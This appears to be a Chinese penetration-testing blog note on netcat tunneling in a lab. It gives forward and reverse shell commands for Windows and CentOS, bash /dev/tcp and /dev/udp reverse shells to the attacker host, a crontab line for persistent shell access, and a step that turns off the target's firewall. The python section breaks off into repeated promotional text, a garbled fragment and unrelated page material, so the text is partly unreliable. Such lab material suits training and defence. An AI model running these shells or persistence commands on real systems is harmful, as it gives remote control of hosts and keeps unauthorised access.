【渗透测试笔记】之【内网渗透——传输层隧道(nc的使用:nc的正反向shell、bash

实验环境

kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
请添加图片描述

1 下载与部署

下载地址:https://github.com/AA8j/SecTools/tree/main/nc

或:

apt install netcat -y

2 使用方法

查看帮助:

nc -h

在这里插入图片描述

-d				// 后台模式(windows下)
-e filename		// 程序重定向
-g gateway		// 网关。设詈路由器通信网关,最多可以设詈8个。
-G num			// 设置源路由指向器的数量,为4的倍数。
-i secs			// 设置时间间隔,以便传送信息及扫描通信端口。
-l				// 使用监听模式。
-n				// 直接使用IP地址,不通过域名服务器。
-o file			// 输出文件,把往来传输的数据转换为十六进制字节码后保存在该文件中。
-p port			// 设置通信端口。
-r				// 随机指定本地与远程主机的通信端口。
-s addr			// 源地址,设詈本地主机送出数据包的IP地址。
-t				// 应答远程登录。
-u				// 使用UDP传输。
-v				// 详细输出。
-w secs			// 设置超时秒数。
-z				// 将输入输出功能关闭,只在扫描通信端口时使用。

案例:
nc -v -z 目标IP 80-200		// 指定端口扫描
nc -nv 目标IP 21				// Banner 抓取
nc -lvnp 4444				// 本地端口监听
nc -nvv 目标IP 4444			// 连接远程主机

2.1 正向shell

Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)

nc -ldp 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -lvp 4444 -e /bin/sh

在这里插入图片描述

kali(攻击机,外网地址:192.168.8.48)
连接windows shell:

nc 192.168.8.56 4444

在这里插入图片描述
连接CentOS Shell:

nc 192.168.8.35 5555

# 注意:出现(UNKNOWN) [192.168.8.35] 56 (?) : No route to host的情况可以关闭目标主机防火墙
systemctl stop firewalld

在这里插入图片描述

2.2 nc反弹shell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 4444
# 监听4444和5555端口
nc -lvnp 5555

在这里插入图片描述

Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)

nc -d 192.168.8.48 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

在这里插入图片描述

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -d 192.168.8.48 5555 -e /bin/sh

在这里插入图片描述

在这里插入图片描述

2.3 其它反弹shell

2.3.1 Bash反弹shell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 7777

在这里插入图片描述
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

bash -i >& /dev/tcp/192.168.8.48/7777 0>&1
# TCP
bash -i >& /dev/udp/192.168.8.48/7777 0>&1
# UDP

以tcp为例:
在这里插入图片描述
在这里插入图片描述
可以写入定时任务维持权限,crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs

* * * * * /bin/bash -i >& /dev/tcp/192.168.8.48/4444 0>&1

2.3.2 python反弹shell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 8888

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

g-zFhvk5TN-1715569159074)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 13
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: 当你在安装完nc后,出现"bash: nc: command not found"的错误提示时,可能是因为nc命令没有被正确地添加到系统的环境变量中。你可以尝试以下解决方案来解决这个问题。首先,你可以尝试执行以下命令来查看nc命令的安装路径:echo $PATH。如果你没有看到nc命令的安装路径,那么你可以尝试执行以下命令来添加nc命令的路径到系统的环境变量中:export PATH=$PATH:/usr/bin。这样,你就可以在任何位置使用nc命令了。如果以上方法没有解决你的问题,你可以尝试重新安装nc命令,或者使用其他方法来安装nc命令。希望这些解决方案能够帮助到你。\[1\] #### 引用[.reference_title] - *1* [解决 -bash: nc: command not found](https://blog.csdn.net/suixinfeixiangfei/article/details/122850642)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [linux解决bash: nc: command not found 安装nc、telnet、yum](https://blog.csdn.net/fenglongmiao/article/details/79272708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值